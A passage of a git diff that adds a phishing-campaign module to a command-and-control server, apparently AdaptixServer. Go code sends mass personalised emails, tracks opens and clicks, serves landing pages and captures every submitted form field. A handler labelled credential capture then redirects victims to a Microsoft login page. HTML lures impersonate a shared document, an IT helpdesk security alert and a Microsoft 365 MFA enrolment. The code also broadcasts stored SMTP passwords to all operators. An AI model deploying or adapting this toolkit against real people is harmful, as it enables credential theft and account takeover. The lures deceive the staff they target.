s.LoadTargets(req.CampaignID) + newTargets := parseCSV(req.CSV, req.CampaignID) + + combined := append(existing, newTargets...) + if err := s.SaveTargets(req.CampaignID, combined); err != nil { + s.sendError(operator, "Failed to save targets: "+err.Error()) + return + } + + s.sendResponseAll("targets", map[string]interface{}{ + "campaign_id": req.CampaignID, + "targets": combined, + }) + s.sendResponseAll("campaigns", s.ListCampaignsWithStats()) +} + +func (s *PhishingService) HandleTargetsList(operator string, args string) { + var req struct { + CampaignID string `json:"campaign_id"` + } + if err := json.Unmarshal([]byte(args), &req); err != nil { + s.sendError(operator, "Invalid request") + return + } + + targets := s.LoadTargets(req.CampaignID) + s.sendResponseClient(operator, "targets", map[string]interface{}{ + "campaign_id": req.CampaignID, + "targets": targets, + }) +} + +func (s *PhishingService) HandleTargetsDelete(operator string, args string) { + var req struct { + CampaignID string `json:"campaign_id"` + IDs []string `json:"ids"` + } + if err := json.Unmarshal([]byte(args), &req); err != nil { + s.sendError(operator, "Invalid request") + return + } + + targets := s.LoadTargets(req.CampaignID) + idSet := make(map[string]bool) + for _, id := range req.IDs { + idSet[id] = true + } + + var filtered []Target + for _, t := range targets { + if !idSet[t.ID] { + filtered = append(filtered, t) + } + } + + s.SaveTargets(req.CampaignID, filtered) + s.sendResponseAll("targets", map[string]interface{}{ + "campaign_id": req.CampaignID, + "targets": filtered, + }) + s.sendResponseAll("campaigns", s.ListCampaignsWithStats()) +} + +func (s *PhishingService) HandleResultsList(operator string, args string) { + var req struct { + CampaignID string `json:"campaign_id"` + } + if err := json.Unmarshal([]byte(args), &req); err != nil { + s.sendError(operator, "Invalid request") + return + } + + results := s.LoadResults(req.CampaignID) + s.sendResponseClient(operator, "results", map[string]interface{}{ + "campaign_id": req.CampaignID, + "results": results, + }) +} + +func (s *PhishingService) HandleResultsExport(operator string, args string) { + var req struct { + CampaignID string `json:"campaign_id"` + } + if err := json.Unmarshal([]byte(args), &req); err != nil { + s.sendError(operator, "Invalid request") + return + } + + results := s.LoadResults(req.CampaignID) + csv := resultsToCSV(results) + s.sendResponseClient(operator, "export", map[string]interface{}{ + "campaign_id": req.CampaignID, + "csv": csv, + }) +} + +func (s *PhishingService) HandleTemplatesList(operator string) { + templates := s.listFiles("templates") + s.sendResponseClient(operator, "templates", templates) +} + +func (s *PhishingService) HandleLandersList(operator string) { + landers := s.listFiles("landers") + s.sendResponseClient(operator, "landers", landers) +} + +func (s *PhishingService) HandleTemplatePreview(operator string, args string) { + var req struct { + Type string `json:"type"` // "template" or "lander" + Name string `json:"name"` + } + if err := json.Unmarshal([]byte(args), &req); err != nil { + s.sendError(operator, "Invalid preview request") + return + } + + var html string + if req.Type == "lander" { + html = s.loadLander(req.Name) + } else { + html = s.loadTemplate(req.Name) + } + + if html == "" { + s.sendError(operator, "Template not found: "+req.Name) + return + } + + // Replace template variables with example values + replacer := strings.NewReplacer( + "{{.FirstName}}", "John", + "{{.LastName}}", "Doe", + "{{.Email}}", "john.doe@contoso.com", + "{{.Company}}", "Contoso Ltd", + "{{.Position}}", "IT Manager", + "{{.ClickURL}}", "#", + "{{.TrackingURL}}", "#", + "{{.SubmitURL}}", "#", + "{{.Custom}}", "", + ) + html = replacer.Replace(html) + + resp := map[string]interface{}{ + "preview_type": req.Type, + "name": req.Name, + "html": html, + } + s.sendResponseClient(operator, "preview", resp) +} + +// ============================================================================ +// Campaign Sending +// ============================================================================ + +func (s *PhishingService) SendCampaign(operator string, campaign Campaign, targets []Target, stopChan chan struct{}) { + templateContent := s.loadTemplate(campaign.Template) + if templateContent == "" { + s.sendError(operator, "Failed to load email template: "+campaign.Template) + campaign.Status = "draft" + s.SaveCampaign(campaign) + s.sendResponseAll("campaigns", s.ListCampaignsWithStats()) + return + } + + results := s.LoadResults(campaign.ID) + sentIDs := make(map[string]bool) + for _, r := range results { + sentIDs[r.TargetID] = true + } + + for _, target := range targets { + select { + case <-stopChan: + campaign.Status = "paused" + s.SaveCampaign(campaign) + s.sendResponseAll("campaigns", s.ListCampaignsWithStats()) + return + default: + } + + if sentIDs[target.ID] { + continue + } + + trackingID := generateTrackingID() + result := Result{ + ID: trackingID, + CampaignID: campaign.ID, + TargetID: target.ID, + Email: target.Email, + FirstName: target.FirstName, + LastName: target.LastName, + Status: "sending", + } + + body := renderEmailTemplate(templateContent, campaign, target, trackingID) + + err := sendEmail(campaign, target, body) + if err != nil { + result.Status = "error" + result.Error = err.Error() + } else { + result.Status = "sent" + result.SentAt = nowUnix() + } + + results = append(results, result) + s.SaveResults(campaign.ID, results) + + s.sendEvent("email_sent", result) + + delay := campaign.SendDelay + if delay > 0 { + jitter := rand.Intn(delay/2+1) - delay/4 + time.Sleep(time.Duration(delay+jitter) * time.Second) + } + } + + campaign.Status = "completed" + s.SaveCampaign(campaign) + s.sendResponseAll("campaigns", s.ListCampaignsWithStats()) +} + +// ============================================================================ +// SMTP +// ============================================================================ + +func sendEmail(campaign Campaign, target Target, htmlBody string) error { + from := campaign.SenderEmail + to := target.Email + + headers := make(map[string]string) + headers["From"] = fmt.Sprintf("%s <%s>", campaign.SenderName, from) + headers["To"] = to + headers["Subject"] = renderSubject(campaign.Subject, target) + headers["MIME-Version"] = "1.0" + headers["Content-Type"] = "text/html; charset=UTF-8" + + var msg bytes.Buffer + for k, v := range headers { + msg.WriteString(fmt.Sprintf("%s: %s\r\n", k, v)) + } + msg.WriteString("\r\n") + msg.WriteString(htmlBody) + + addr := fmt.Sprintf("%s:%d", campaign.SmtpHost, campaign.SmtpPort) + + if campaign.SmtpTLS { + return sendEmailTLS(addr, campaign.SmtpUser, campaign.SmtpPass, from, to, msg.Bytes()) + } + + var auth smtp.Auth + if campaign.SmtpUser != "" { + auth = smtp.PlainAuth("", campaign.SmtpUser, campaign.SmtpPass, campaign.SmtpHost) + } + + return smtp.SendMail(addr, auth, from, []string{to}, msg.Bytes()) +} + +func sendEmailTLS(addr string, user string, pass string, from string, to string, msg []byte) error { + host := strings.Split(addr, ":")[0] + + tlsConfig := &tls.Config{ + ServerName: host, + } + + conn, err := tls.Dial("tcp", addr, tlsConfig) + if err != nil { + return err + } + + client, err := smtp.NewClient(conn, host) + if err != nil { + return err + } + defer client.Close() + + if user != "" { + auth := smtp.PlainAuth("", user, pass, host) + if err = client.Auth(auth); err != nil { + return err + } + } + + if err = client.Mail(from); err != nil { + return err + } + if err = client.Rcpt(to); err != nil { + return err + } + + w, err := client.Data() + if err != nil { + return err + } + w.Write(msg) + w.Close() + + return client.Quit() +} + +// ============================================================================ +// Template Rendering +// ============================================================================ + +func renderEmailTemplate(template string, campaign Campaign, target Target, trackingID string) string { + baseURL := strings.TrimRight(campaign.BaseURL, "/") + + trackingURL := fmt.Sprintf("%s/px/%s.png", baseURL, trackingID) + clickURL := fmt.Sprintf("%s/cl/%s", baseURL, trackingID) + landerURL := fmt.Sprintf("%s/lp/%s", baseURL, trackingID) + + r := strings.NewReplacer( + "{{.FirstName}}", target.FirstName, + "{{.LastName}}", target.LastName, + "{{.Email}}", target.Email, + "{{.Company}}", target.Company, + "{{.Position}}", target.Position, + "{{.Custom}}", target.Custom, + "{{.TrackingURL}}", trackingURL, + "{{.ClickURL}}", clickURL, + "{{.LanderURL}}", landerURL, + "{{.Subject}}", campaign.Subject, + "{{.SenderName}}", campaign.SenderName, + "{{.SenderEmail}}", campaign.SenderEmail, + ) + body := r.Replace(template) + + if campaign.TrackOpens && !strings.Contains(body, trackingURL) { + pixel := fmt.Sprintf(``, trackingURL) + if idx := strings.LastIndex(body, ""); idx >= 0 { + body = body[:idx] + pixel + body[idx:] + } else { + body += pixel + } + } + + return body +} + +func renderSubject(subject string, target Target) string { + r := strings.NewReplacer( + "{{.FirstName}}", target.FirstName, + "{{.LastName}}", target.LastName, + "{{.Email}}", target.Email, + "{{.Company}}", target.Company, + "{{.Position}}", target.Position, + ) + return r.Replace(subject) +} + +// ============================================================================ +// CSV Parsing +// ============================================================================ + +func parseCSV(csvData string, campaignID string) []Target { + var targets []Target + lines := strings.Split(strings.TrimSpace(csvData), "\n") + if len(lines) < 2 { + return targets + } + + header := strings.Split(strings.TrimSpace(lines[0]), ",") + colMap := make(map[string]int) + for i, h := range header { + colMap[strings.ToLower(strings.TrimSpace(h))] = i + } + + for _, line := range lines[1:] { + line = strings.TrimSpace(line) + if line == "" { + continue + } + cols := strings.Split(line, ",") + + t := Target{ + ID: generateID(), + CampaignID: campaignID, + } + + if idx, ok := colMap["email"]; ok && idx < len(cols) { + t.Email = strings.TrimSpace(cols[idx]) + } + if idx, ok := colMap["first_name"]; ok && idx < len(cols) { + t.FirstName = strings.TrimSpace(cols[idx]) + } else if idx, ok := colMap["firstname"]; ok && idx < len(cols) { + t.FirstName = strings.TrimSpace(cols[idx]) + } + if idx, ok := colMap["last_name"]; ok && idx < len(cols) { + t.LastName = strings.TrimSpace(cols[idx]) + } else if idx, ok := colMap["lastname"]; ok && idx < len(cols) { + t.LastName = strings.TrimSpace(cols[idx]) + } + if idx, ok := colMap["position"]; ok && idx < len(cols) { + t.Position = strings.TrimSpace(cols[idx]) + } + if idx, ok := colMap["company"]; ok && idx < len(cols) { + t.Company = strings.TrimSpace(cols[idx]) + } + if idx, ok := colMap["custom"]; ok && idx < len(cols) { + t.Custom = strings.TrimSpace(cols[idx]) + } + + if t.Email != "" { + targets = append(targets, t) + } + } + + return targets +} + +func resultsToCSV(results []Result) string { + var buf bytes.Buffer + buf.WriteString("email,first_name,last_name,status,sent_at,opened_at,clicked_at,submit_at,remote_ip,user_agent,submit_data\n") + for _, r := range results { + buf.WriteString(fmt.Sprintf("%s,%s,%s,%s,%d,%d,%d,%d,%s,%s,%s\n", + r.Email, r.FirstName, r.LastName, r.Status, + r.SentAt, r.OpenedAt, r.ClickedAt, r.SubmitAt, + r.RemoteIP, r.UserAgent, r.SubmitData, + )) + } + return buf.String() +} + +// ============================================================================ +// File Helpers +// ============================================================================ + +func (s *PhishingService) loadTemplate(name string) string { + path := filepath.Join(s.moduleDir, "templates", name) + data, err := os.ReadFile(path) + if err != nil { + return "" + } + return string(data) +} + +func (s *PhishingService) loadLander(name string) string { + path := filepath.Join(s.moduleDir, "landers", name) + data, err := os.ReadFile(path) + if err != nil { + return "" + } + return string(data) +} + +func (s *PhishingService) listFiles(subdir string) []string { + var files []string + dir := filepath.Join(s.moduleDir, subdir) + entries, err := os.ReadDir(dir) + if err != nil { + return files + } + for _, e := range entries { + if !e.IsDir() && strings.HasSuffix(e.Name(), ".html") { + files = append(files, e.Name()) + } + } + return files +} + +// ListCampaignsWithStats returns all campaigns enriched with their stats. +func (s *PhishingService) ListCampaignsWithStats() []map[string]interface{} { + campaigns := s.ListCampaigns() + var result []map[string]interface{} + for _, c := range campaigns { + stats := s.GetCampaignStats(c.ID) + entry := map[string]interface{}{ + "id": c.ID, + "name": c.Name, + "status": c.Status, + "smtp_host": c.SmtpHost, + "smtp_port": c.SmtpPort, + "smtp_user": c.SmtpUser, + "smtp_pass": c.SmtpPass, + "smtp_tls": c.SmtpTLS, + "sender_email": c.SenderEmail, + "sender_name": c.SenderName, + "subject": c.Subject, + "template": c.Template, + "lander": c.Lander, + "track_opens": c.TrackOpens, + "track_clicks": c.TrackClicks, + "base_url": c.BaseURL, + "redirect_url": c.RedirectURL, + "send_delay": c.SendDelay, + "created_at": c.CreatedAt, + "created_by": c.CreatedBy, + "total_targets": stats.TotalTargets, + "sent": stats.Sent, + "opened": stats.Opened, + "clicked": stats.Clicked, + "submitted": stats.Submitted, + "errors": stats.Errors, + } + result = append(result, entry) + } + return result +} diff --git a/AdaptixServer/extenders/phishing_service/pl_data.go b/AdaptixServer/extenders/phishing_service/pl_data.go new file mode 100644 index 000000000..9542b9377 --- /dev/null +++ b/AdaptixServer/extenders/phishing_service/pl_data.go @@ -0,0 +1,261 @@ +package main + +import ( + "crypto/rand" + "encoding/hex" + "encoding/json" + "fmt" + "strings" + "time" +) + +// ============================================================================ +// Data Models +// ============================================================================ + +type Campaign struct { + ID string `json:"id"` + Name string `json:"name"` + Status string `json:"status"` // draft, running, paused, completed + SmtpHost string `json:"smtp_host"` + SmtpPort int `json:"smtp_port"` + SmtpUser string `json:"smtp_user"` + SmtpPass string `json:"smtp_pass"` + SmtpTLS bool `json:"smtp_tls"` + SenderEmail string `json:"sender_email"` + SenderName string `json:"sender_name"` + Subject string `json:"subject"` + Template string `json:"template"` + Lander string `json:"lander"` + TrackOpens bool `json:"track_opens"` + TrackClicks bool `json:"track_clicks"` + BaseURL string `json:"base_url"` + RedirectURL string `json:"redirect_url"` + SendDelay int `json:"send_delay"` // seconds between emails + CreatedAt int64 `json:"created_at"` + CreatedBy string `json:"created_by"` +} + +type Target struct { + ID string `json:"id"` + CampaignID string `json:"campaign_id"` + Email string `json:"email"` + FirstName string `json:"first_name"` + LastName string `json:"last_name"` + Position string `json:"position"` + Company string `json:"company"` + Custom string `json:"custom"` +} + +type Result struct { + ID string `json:"id"` + CampaignID string `json:"campaign_id"` + TargetID string `json:"target_id"` + Email string `json:"email"` + FirstName string `json:"first_name"` + LastName string `json:"last_name"` + Status string `json:"status"` // sent, delivered, opened, clicked, submitted, error + SentAt int64 `json:"sent_at"` + OpenedAt int64 `json:"opened_at"` + ClickedAt int64 `json:"clicked_at"` + SubmitAt int64 `json:"submit_at"` + UserAgent string `json:"user_agent"` + RemoteIP string `json:"remote_ip"` + SubmitData string `json:"submit_data"` + Error string `json:"error"` +} + +// ============================================================================ +// ID Generation +// ============================================================================ + +func generateID() string { + b := make([]byte, 16) + rand.Read(b) + return hex.EncodeToString(b) +} + +func generateTrackingID() string { + b := make([]byte, 12) + rand.Read(b) + return hex.EncodeToString(b) +} + +// ============================================================================ +// Campaign CRUD +// ============================================================================ + +func (s *PhishingService) SaveCampaign(c Campaign) error { + data, err := json.Marshal(c) + if err != nil { + return err + } + return s.ts.TsExtenderDataSave(ExtenderName, "campaign:"+c.ID, data) +} + +func (s *PhishingService) LoadCampaign(id string) (Campaign, error) { + var c Campaign + data, err := s.ts.TsExtenderDataLoad(ExtenderName, "campaign:"+id) + if err != nil { + return c, err + } + err = json.Unmarshal(data, &c) + return c, err +} + +func (s *PhishingService) DeleteCampaign(id string) error { + _ = s.ts.TsExtenderDataDelete(ExtenderName, "campaign:"+id) + _ = s.ts.TsExtenderDataDelete(ExtenderName, "targets:"+id) + _ = s.ts.TsExtenderDataDelete(ExtenderName, "results:"+id) + return nil +} + +func (s *PhishingService) ListCampaigns() []Campaign { + var campaigns []Campaign + keys, err := s.ts.TsExtenderDataKeys(ExtenderName) + if err != nil { + return campaigns + } + + for _, key := range keys { + if strings.HasPrefix(key, "campaign:") { + data, err := s.ts.TsExtenderDataLoad(ExtenderName, key) + if err != nil { + continue + } + var c Campaign + if json.Unmarshal(data, &c) == nil { + campaigns = append(campaigns, c) + } + } + } + return campaigns +} + +// ============================================================================ +// Target CRUD +// ============================================================================ + +func (s *PhishingService) SaveTargets(campaignID string, targets []Target) error { + data, err := json.Marshal(targets) + if err != nil { + return err + } + return s.ts.TsExtenderDataSave(ExtenderName, "targets:"+campaignID, data) +} + +func (s *PhishingService) LoadTargets(campaignID string) []Target { + var targets []Target + data, err := s.ts.TsExtenderDataLoad(ExtenderName, "targets:"+campaignID) + if err != nil { + return targets + } + json.Unmarshal(data, &targets) + return targets +} + +// ============================================================================ +// Result CRUD +// ============================================================================ + +func (s *PhishingService) SaveResults(campaignID string, results []Result) error { + data, err := json.Marshal(results) + if err != nil { + return err + } + return s.ts.TsExtenderDataSave(ExtenderName, "results:"+campaignID, data) +} + +func (s *PhishingService) LoadResults(campaignID string) []Result { + var results []Result + data, err := s.ts.TsExtenderDataLoad(ExtenderName, "results:"+campaignID) + if err != nil { + return results + } + json.Unmarshal(data, &results) + return results +} + +// LoadResultByTrackingID searches all campaign results for a specific tracking ID. +func (s *PhishingService) LoadResultByTrackingID(trackingID string) (*Result, string) { + keys, err := s.ts.TsExtenderDataKeys(ExtenderName) + if err != nil { + return nil, "" + } + + for _, key := range keys { + if !strings.HasPrefix(key, "results:") { + continue + } + campaignID := strings.TrimPrefix(key, "results:") + results := s.LoadResults(campaignID) + for i := range results { + if results[i].ID == trackingID { + return &results[i], campaignID + } + } + } + return nil, "" +} + +// UpdateResult updates a specific result within its campaign's results. +func (s *PhishingService) UpdateResult(campaignID string, result *Result) error { + results := s.LoadResults(campaignID) + for i := range results { + if results[i].ID == result.ID { + results[i] = *result + return s.SaveResults(campaignID, results) + } + } + return fmt.Errorf("result not found") +} + +// ============================================================================ +// Campaign Stats +// ============================================================================ + +type CampaignStats struct { + TotalTargets int `json:"total_targets"` + Sent int `json:"sent"` + Opened int `json:"opened"` + Clicked int `json:"clicked"` + Submitted int `json:"submitted"` + Errors int `json:"errors"` +} + +func (s *PhishingService) GetCampaignStats(campaignID string) CampaignStats { + results := s.LoadResults(campaignID) + targets := s.LoadTargets(campaignID) + stats := CampaignStats{ + TotalTargets: len(targets), + } + for _, r := range results { + switch r.Status { + case "error": + stats.Errors++ + case "submitted": + stats.Submitted++ + stats.Clicked++ + stats.Opened++ + stats.Sent++ + case "clicked": + stats.Clicked++ + stats.Opened++ + stats.Sent++ + case "opened": + stats.Opened++ + stats.Sent++ + case "sent": + stats.Sent++ + } + } + return stats +} + +// ============================================================================ +// Helpers +// ============================================================================ + +func nowUnix() int64 { + return time.Now().Unix() +} diff --git a/AdaptixServer/extenders/phishing_service/pl_main.go b/AdaptixServer/extenders/phishing_service/pl_main.go new file mode 100644 index 000000000..8f42b3980 --- /dev/null +++ b/AdaptixServer/extenders/phishing_service/pl_main.go @@ -0,0 +1,151 @@ +package main + +import ( + "encoding/json" + "net/http" + "sync" + + adaptix "github.com/Adaptix-Framework/axc2" +) + +type Teamserver interface { + TsExtenderDataSave(extenderName string, key string, value []byte) error + TsExtenderDataLoad(extenderName string, key string) ([]byte, error) + TsExtenderDataDelete(extenderName string, key string) error + TsExtenderDataKeys(extenderName string) ([]string, error) + + TsEndpointRegisterPublicRaw(method string, path string, handler func(w http.ResponseWriter, r *http.Request)) error + TsEndpointUnregisterPublic(method string, path string) error + TsEndpointExistsPublic(method string, path string) bool + + TsServiceSendDataAll(service string, data string) + TsServiceSendDataClient(operator string, service string, data string) +} + +const ServiceName = "Phishing" +const ExtenderName = "phishing_service" + +type PhishingService struct { + ts Teamserver + moduleDir string + mu sync.RWMutex + stopChans map[string]chan struct{} // campaignID -> stop channel +} + +var ( + Ts Teamserver + ModuleDir string + Service *PhishingService +) + +func InitPlugin(ts any, moduleDir string, serviceConfig string) adaptix.PluginService { + Ts = ts.(Teamserver) + ModuleDir = moduleDir + + Service = &PhishingService{ + ts: Ts, + moduleDir: moduleDir, + stopChans: make(map[string]chan struct{}), + } + + Service.RegisterEndpoints() + + return Service +} + +func (s *PhishingService) Call(operator string, function string, args string) { + switch function { + + case "campaign_create": + s.HandleCampaignCreate(operator, args) + + case "campaign_list": + s.HandleCampaignList(operator) + + case "campaign_delete": + s.HandleCampaignDelete(operator, args) + + case "campaign_start": + s.HandleCampaignStart(operator, args) + + case "campaign_stop": + s.HandleCampaignStop(operator, args) + + case "targets_import": + s.HandleTargetsImport(operator, args) + + case "targets_list": + s.HandleTargetsList(operator, args) + + case "targets_delete": + s.HandleTargetsDelete(operator, args) + + case "results_list": + s.HandleResultsList(operator, args) + + case "results_export": + s.HandleResultsExport(operator, args) + + case "templates_list": + s.HandleTemplatesList(operator) + + case "landers_list": + s.HandleLandersList(operator) + + case "template_preview": + s.HandleTemplatePreview(operator, args) + } +} + +// sendResponse sends a JSON response back to all connected clients via the service data channel. +func (s *PhishingService) sendResponseAll(msgType string, data interface{}) { + resp := map[string]interface{}{ + "type": msgType, + "data": data, + } + jsonData, err := json.Marshal(resp) + if err != nil { + return + } + s.ts.TsServiceSendDataAll(ServiceName, string(jsonData)) +} + +// sendResponseClient sends a JSON response to a specific operator. +func (s *PhishingService) sendResponseClient(operator string, msgType string, data interface{}) { + resp := map[string]interface{}{ + "type": msgType, + "data": data, + } + jsonData, err := json.Marshal(resp) + if err != nil { + return + } + s.ts.TsServiceSendDataClient(operator, ServiceName, string(jsonData)) +} + +// sendEvent sends a real-time event notification to all clients. +func (s *PhishingService) sendEvent(eventType string, data interface{}) { + resp := map[string]interface{}{ + "type": "event", + "event": eventType, + "data": data, + } + jsonData, err := json.Marshal(resp) + if err != nil { + return + } + s.ts.TsServiceSendDataAll(ServiceName, string(jsonData)) +} + +// sendError sends an error message to a specific operator. +func (s *PhishingService) sendError(operator string, message string) { + resp := map[string]interface{}{ + "type": "error", + "message": message, + } + jsonData, err := json.Marshal(resp) + if err != nil { + return + } + s.ts.TsServiceSendDataClient(operator, ServiceName, string(jsonData)) +} diff --git a/AdaptixServer/extenders/phishing_service/pl_tracker.go b/AdaptixServer/extenders/phishing_service/pl_tracker.go new file mode 100644 index 000000000..3e4729900 --- /dev/null +++ b/AdaptixServer/extenders/phishing_service/pl_tracker.go @@ -0,0 +1,253 @@ +package main + +import ( + "encoding/json" + "fmt" + "net/http" + "strings" +) + +// 1x1 transparent GIF +var transparentGIF = []byte{ + 0x47, 0x49, 0x46, 0x38, 0x39, 0x61, 0x01, 0x00, 0x01, 0x00, + 0x80, 0x00, 0x00, 0xff, 0xff, 0xff, 0x00, 0x00, 0x00, 0x21, + 0xf9, 0x04, 0x01, 0x00, 0x00, 0x00, 0x00, 0x2c, 0x00, 0x00, + 0x00, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x02, 0x02, 0x44, + 0x01, 0x00, 0x3b, +} + +// RegisterEndpoints registers the public tracking endpoints. +func (s *PhishingService) RegisterEndpoints() { + s.ts.TsEndpointRegisterPublicRaw("GET", "/px/:id", s.HandleTrackingPixel) + s.ts.TsEndpointRegisterPublicRaw("GET", "/cl/:id", s.HandleClick) + s.ts.TsEndpointRegisterPublicRaw("GET", "/lp/:id", s.HandleLander) + s.ts.TsEndpointRegisterPublicRaw("POST", "/sb/:id", s.HandleSubmit) +} + +// extractPathID extracts the last segment of the URL path. +// For /px/abc123.png it returns "abc123" (stripping .png extension) +// For /cl/abc123 it returns "abc123" +func extractPathID(r *http.Request) string { + path := r.URL.Path + parts := strings.Split(path, "/") + if len(parts) == 0 { + return "" + } + last := parts[len(parts)-1] + // Strip .png extension for tracking pixel + last = strings.TrimSuffix(last, ".png") + return last +} + +func getRemoteIP(r *http.Request) string { + if xff := r.Header.Get("X-Forwarded-For"); xff != "" { + parts := strings.Split(xff, ",") + return strings.TrimSpace(parts[0]) + } + if xri := r.Header.Get("X-Real-IP"); xri != "" { + return xri + } + return strings.Split(r.RemoteAddr, ":")[0] +} + +// ============================================================================ +// GET /px/:id — Tracking Pixel +// ============================================================================ + +func (s *PhishingService) HandleTrackingPixel(w http.ResponseWriter, r *http.Request) { + trackingID := extractPathID(r) + if trackingID == "" { + w.Header().Set("Content-Type", "image/gif") + w.Write(transparentGIF) + return + } + + s.mu.Lock() + result, campaignID := s.LoadResultByTrackingID(trackingID) + if result != nil && result.OpenedAt == 0 { + result.Status = statusMax(result.Status, "opened") + result.OpenedAt = nowUnix() + result.UserAgent = r.UserAgent() + result.RemoteIP = getRemoteIP(r) + s.UpdateResult(campaignID, result) + + go s.sendEvent("opened", map[string]interface{}{ + "campaign_id": campaignID, + "result": result, + }) + } + s.mu.Unlock() + + w.Header().Set("Content-Type", "image/gif") + w.Header().Set("Cache-Control", "no-store, no-cache, must-revalidate, max-age=0") + w.Header().Set("Pragma", "no-cache") + w.Write(transparentGIF) +} + +// ============================================================================ +// GET /cl/:id — Click Tracker +// ============================================================================ + +func (s *PhishingService) HandleClick(w http.ResponseWriter, r *http.Request) { + trackingID := extractPathID(r) + if trackingID == "" { + http.Error(w, "Not Found", http.StatusNotFound) + return + } + + s.mu.Lock() + result, campaignID := s.LoadResultByTrackingID(trackingID) + if result != nil && result.ClickedAt == 0 { + result.Status = statusMax(result.Status, "clicked") + result.ClickedAt = nowUnix() + result.UserAgent = r.UserAgent() + result.RemoteIP = getRemoteIP(r) + s.UpdateResult(campaignID, result) + + go s.sendEvent("clicked", map[string]interface{}{ + "campaign_id": campaignID, + "result": result, + }) + } + s.mu.Unlock() + + // Redirect to landing page + landerURL := fmt.Sprintf("/lp/%s", trackingID) + http.Redirect(w, r, landerURL, http.StatusFound) +} + +// ============================================================================ +// GET /lp/:id — Landing Page +// ============================================================================ + +func (s *PhishingService) HandleLander(w http.ResponseWriter, r *http.Request) { + trackingID := extractPathID(r) + if trackingID == "" { + http.Error(w, "Not Found", http.StatusNotFound) + return + } + + s.mu.RLock() + result, campaignID := s.LoadResultByTrackingID(trackingID) + s.mu.RUnlock() + + if result == nil { + http.Error(w, "Not Found", http.StatusNotFound) + return + } + + campaign, err := s.LoadCampaign(campaignID) + if err != nil { + http.Error(w, "Not Found", http.StatusNotFound) + return + } + + landerContent := s.loadLander(campaign.Lander) + if landerContent == "" { + http.Error(w, "Not Found", http.StatusNotFound) + return + } + + submitURL := fmt.Sprintf("/sb/%s", trackingID) + replacer := strings.NewReplacer( + "{{.FirstName}}", result.FirstName, + "{{.LastName}}", result.LastName, + "{{.Email}}", result.Email, + "{{.Company}}", findTargetCompany(s, result.CampaignID, result.TargetID), + "{{.Position}}", findTargetPosition(s, result.CampaignID, result.TargetID), + "{{.TrackingID}}", trackingID, + "{{.SubmitURL}}", submitURL, + "{{.Subject}}", campaign.Subject, + ) + html := replacer.Replace(landerContent) + + w.Header().Set("Content-Type", "text/html; charset=utf-8") + w.Header().Set("Cache-Control", "no-store, no-cache, must-revalidate, max-age=0") + w.Write([]byte(html)) +} + +// ============================================================================ +// POST /sb/:id — Credential Capture +// ============================================================================ + +func (s *PhishingService) HandleSubmit(w http.ResponseWriter, r *http.Request) { + trackingID := extractPathID(r) + if trackingID == "" { + http.Error(w, "Not Found", http.StatusNotFound) + return + } + + r.ParseForm() + formData := make(map[string]string) + for key, values := range r.PostForm { + if len(values) > 0 { + formData[key] = values[0] + } + } + + submitJSON, _ := json.Marshal(formData) + + s.mu.Lock() + result, campaignID := s.LoadResultByTrackingID(trackingID) + if result != nil { + result.Status = "submitted" + result.SubmitAt = nowUnix() + result.SubmitData = string(submitJSON) + result.UserAgent = r.UserAgent() + result.RemoteIP = getRemoteIP(r) + s.UpdateResult(campaignID, result) + + go s.sendEvent("submitted", map[string]interface{}{ + "campaign_id": campaignID, + "result": result, + }) + } + s.mu.Unlock() + + redirectURL := "https://login.microsoftonline.com" + if campaignID != "" { + if campaign, err := s.LoadCampaign(campaignID); err == nil && campaign.RedirectURL != "" { + redirectURL = campaign.RedirectURL + } + } + + http.Redirect(w, r, redirectURL, http.StatusFound) +} + +// ============================================================================ +// Helpers +// ============================================================================ + +// statusMax returns the "higher" status in the progression chain. +func statusMax(current string, candidate string) string { + order := map[string]int{ + "sent": 1, + "opened": 2, + "clicked": 3, + "submitted": 4, + } + if order[candidate] > order[current] { + return candidate + } + return current +} + +func findTargetCompany(s *PhishingService, campaignID string, targetID string) string { + targets := s.LoadTargets(campaignID) + for _, t := range targets { + if t.ID == targetID { + return t.Company + } + } + return "" +} + +func findTargetPosition(s *PhishingService, campaignID string, targetID string) string { + targets := s.LoadTargets(campaignID) + for _, t := range targets { + if t.ID == targetID { + return t.Position + } + } + return "" +} diff --git a/AdaptixServer/extenders/phishing_service/templates/default_email.html b/AdaptixServer/extenders/phishing_service/templates/default_email.html new file mode 100644 index 000000000..dabea2c8d --- /dev/null +++ b/AdaptixServer/extenders/phishing_service/templates/default_email.html @@ -0,0 +1,54 @@ + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + +
+

Document Shared With You

+
+

Dear {{.FirstName}},

+ +

A document has been shared with you that requires your review. Please click the link below to access it securely.

+ + + + + +
+View Document +
+ +

If the button doesn't work, copy and paste this link into your browser:

+

{{.ClickURL}}

+ +

This link will expire in 24 hours.

+
+

This is an automated notification. Please do not reply to this email.

+
+
+ + diff --git a/AdaptixServer/extenders/phishing_service/templates/helpdesk_ticket.html b/AdaptixServer/extenders/phishing_service/templates/helpdesk_ticket.html new file mode 100644 index 000000000..727fb63ba --- /dev/null +++ b/AdaptixServer/extenders/phishing_service/templates/helpdesk_ticket.html @@ -0,0 +1,62 @@ + + + + + + + + + +
+ + + + + + + + + + + +
+ + + +
IT Service DeskHIGH PRIORITY
+
+

Hello {{.FirstName}},

+ +

A support ticket has been opened on your behalf due to unusual activity detected on your account. Please review the details below and take action to secure your account.

+ + + + + +
+Ticket #INC-2024-78432 +
+ + + + + + +
Status:● Awaiting User Action
Priority:High
Category:Account Security
Affected User:{{.Email}}
Description:Multiple failed login attempts detected from an unrecognized location. Password verification required.
+
+ + + +
+Verify Identity & Secure Account +
+ +

If you recognize this activity, you can safely close this ticket after verification.

+

If you do not recognize this activity, please verify your identity immediately and change your password.

+
+

{{.Company}} IT Service Desk • Automated Notification

+

Hours: Mon-Fri 8:00 AM - 6:00 PM • ext. 4357 (HELP)

+
+
+ + diff --git a/AdaptixServer/extenders/phishing_service/templates/mfa_setup.html b/AdaptixServer/extenders/phishing_service/templates/mfa_setup.html new file mode 100644 index 000000000..f96ca7df2 --- /dev/null +++ b/AdaptixServer/extenders/phishing_service/templates/mfa_setup.html @@ -0,0 +1,65 @@ + + + + + + + + + +
+ + + + + + + + + + + +
+ + + +
Microsoft 365 SecuritySecurity Update
+
+

🔒 Multi-Factor Authentication Enrollment Required

+ +

Dear {{.FirstName}},

+ +

As part of our ongoing commitment to security, {{.Company}} is requiring all employees to enroll in Multi-Factor Authentication (MFA) by the end of this week.

+ +

To complete enrollment:

+ + + + + + + +
1.Sign in to verify your identity
2.Follow the guided setup wizard
3.Choose your preferred authentication method
+ + + +
